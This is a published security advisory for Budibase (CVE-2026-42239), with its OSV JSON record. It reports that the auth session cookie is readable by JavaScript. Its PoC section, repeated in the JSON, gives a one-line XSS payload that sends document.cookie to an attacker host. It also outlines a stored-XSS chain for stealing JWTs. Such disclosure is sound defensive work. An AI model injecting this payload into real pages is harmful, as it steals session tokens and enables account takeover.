GHSA-4F9J-VR4P-642R
Vulnerability from github – Published: 2026-04-24 16:18 – Updated: 2026-05-11 13:29Summary
The budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.
The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute.
Details
packages/backend-core/src/utils/utils.ts, lines 215-226:
const config: SetOption = {
expires: MAX_VALID_DATE,
path: "/",
httpOnly: false, // ← JavaScript can read the session JWT
overwrite: true,
}
if (env.COOKIE_DOMAIN) {
config.domain = env.COOKIE_DOMAIN
}
ctx.cookies.set(name, value, config)
This function is called for setting the budibase:auth cookie which contains the signed JWT session token. With httpOnly: false, any JavaScript execution context (XSS, injected script, browser extension) can read the token via document.cookie.
Missing flags:
- httpOnly: false → should be true (prevent JS access)
- No secure flag → cookie sent over HTTP (should be secure: true for HTTPS deployments)
- No sameSite → susceptible to cross-site request attachment (should be sameSite: 'lax')
PoC
Any XSS payload can steal the session:
// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
With httpOnly: true, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.
Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:
1. Create an entity with a name containing <script> payload
2. Any user who views that entity has their JWT stolen
3. Attacker uses the JWT for persistent account access
Impact
Every XSS vulnerability — past, present, and future — becomes a full account takeover. The httpOnly flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."
This affects all Budibase deployments since the cookie configuration is hardcoded.
ATTACHMENTS
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/backend-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.35.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42239"
],
"database_specific": {
"cwe_ids": [
"CWE-1004"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T16:18:52Z",
"nvd_published_at": "2026-05-07T20:16:44Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 \u2014 stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover \u2014 the attacker steals the JWT and has persistent access to the victim\u0027s account.\n\nThe cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.\n\n### Details\n\n`packages/backend-core/src/utils/utils.ts`, lines 215-226:\n\n```typescript\nconst config: SetOption = {\n expires: MAX_VALID_DATE,\n path: \"/\",\n httpOnly: false, // \u2190 JavaScript can read the session JWT\n overwrite: true,\n}\n\nif (env.COOKIE_DOMAIN) {\n config.domain = env.COOKIE_DOMAIN\n}\n\nctx.cookies.set(name, value, config)\n```\n\nThis function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.\n\nMissing flags:\n- `httpOnly: false` \u2192 should be `true` (prevent JS access)\n- No `secure` flag \u2192 cookie sent over HTTP (should be `secure: true` for HTTPS deployments)\n- No `sameSite` \u2192 susceptible to cross-site request attachment (should be `sameSite: \u0027lax\u0027`)\n\n### PoC\n\nAny XSS payload can steal the session:\n\n```javascript\n// Attacker\u0027s XSS payload \u2014 steals session and sends to attacker server\nnew Image().src = \u0027https://attacker.com/steal?cookie=\u0027 + encodeURIComponent(document.cookie);\n```\n\nWith `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.\n\nCombined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:\n1. Create an entity with a name containing `\u003cscript\u003e` payload\n2. Any user who views that entity has their JWT stolen\n3. Attacker uses the JWT for persistent account access\n\n### Impact\n\nEvery XSS vulnerability \u2014 past, present, and future \u2014 becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from \"session riding\" to \"persistent credential theft.\"\n\nThis affects all Budibase deployments since the cookie configuration is hardcoded.\n\n## ATTACHMENTS\n\n[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)\n\n---",
"id": "GHSA-4f9j-vr4p-642r",
"modified": "2026-05-11T13:29:32Z",
"published": "2026-04-24T16:18:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42239"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.35.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Budibase auth session cookies are set with httpOnly:false \u2014 any XSS can lead to full account takeover"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.